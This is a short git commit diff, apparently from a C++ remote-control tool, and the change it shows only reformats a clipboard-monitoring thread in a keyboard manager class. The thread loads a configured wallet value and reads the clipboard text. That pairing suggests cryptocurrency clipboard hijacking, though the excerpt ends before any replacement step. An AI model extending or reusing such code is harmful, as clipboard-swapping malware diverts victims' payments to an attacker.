Improve master efficiency by using asynchronous message processing

This commit is contained in:
yuanyuanxiang
2025-12-05 17:40:12 +01:00
parent 8c45ae17a8
commit 001f0682ae
15 changed files with 190 additions and 163 deletions

View File

@@ -486,18 +486,17 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet();
if (w.empty()){
if (w.empty()) {
Sleep(1000);
continue;
}
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
}
catch (...) { // fix: "std::runtime_error" causing crashes in some cases
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
}
if (hasClipboard) {
std::string value;
clip::get_text(value);